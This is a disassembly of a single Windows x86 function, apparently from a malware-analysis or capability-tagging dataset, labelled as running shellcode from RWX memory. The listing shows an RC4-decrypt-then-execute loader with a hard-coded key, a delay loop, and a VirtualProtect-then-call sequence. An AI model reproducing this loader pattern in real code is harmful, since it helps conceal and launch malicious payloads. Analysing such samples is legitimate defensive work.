Function at 0x401140
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402520
mov eax, dword fs:[0]
push eax
sub esp, 0x224
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, ecx
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push ecx
push 1
push 0x162
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp esi, 0x7a120
jge 0x4011bd
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
push 0x401560
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
inc esi
jmp 0x401198
push 0x162
call fcn.004017c6
add esp, 4
mov dword [ebp - 0x28], eax
lea esi, [eax + 0x162]
push 0x162
push 0
push eax
mov dword [ebp - 0x20], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x24], esi
xor edi, edi
xor ebx, ebx
nop dword [eax]
mov eax, 0xaaaaaaab
mov byte [ebp + ebx - 0x130], bl
mul ebx
mov eax, ebx
shr edx, 4
lea ecx, [edx + edx*2]
shl ecx, 3
sub eax, ecx
mov al, byte [eax + str.FJasJgaweIgj7Fk8FxznLasB]
mov byte [ebp + ebx - 0x230], al
inc ebx
cmp ebx, 0x100
jl 0x4011f0
xor esi, esi
nop dword [eax]
nop word [eax + eax]
mov dl, byte [ebp + esi - 0x130]
movzx eax, byte [ebp + esi - 0x230]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x401256
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x130]
mov byte [ebp + esi - 0x130], al
inc esi
mov byte [ebp + edi - 0x130], dl
cmp esi, 0x100
jl 0x401230
xor esi, esi
xor edi, edi
xor ebx, ebx
nop word [eax + eax]
inc edi
and edi, 0x800000ff
jns 0x401291
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [ebp + edi - 0x130]
movzx edx, cl
add esi, edx
and esi, 0x800000ff
jns 0x4012ad
dec esi
or esi, 0xffffff00
inc esi
mov al, byte [ebp + esi - 0x130]
mov byte [ebp + edi - 0x130], al
mov byte [ebp + esi - 0x130], cl
movzx eax, byte [ebp + edi - 0x130]
add eax, edx
movzx eax, al
movzx ecx, byte [ebp + eax - 0x130]
mov eax, dword [ebp - 0x18]
xor cl, byte [ebx + eax]
mov eax, dword [ebp - 0x28]
mov byte [eax + ebx], cl
inc ebx
cmp ebx, 0x162
jb 0x401280
mov edx, dword [ebp - 0x28]
mov ecx, 0x58
mov ebx, dword [ebp - 0x18]
mov esi, edx
mov edi, ebx
mov eax, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x20]
sub ecx, edx
movsw word es:[edi], word [esi]
cmp ecx, 0x1000
jb 0x401324
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401324
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004017fb
add esp, 8
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 0x162
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004017b8
mov esp, ebp
pop ebp
ret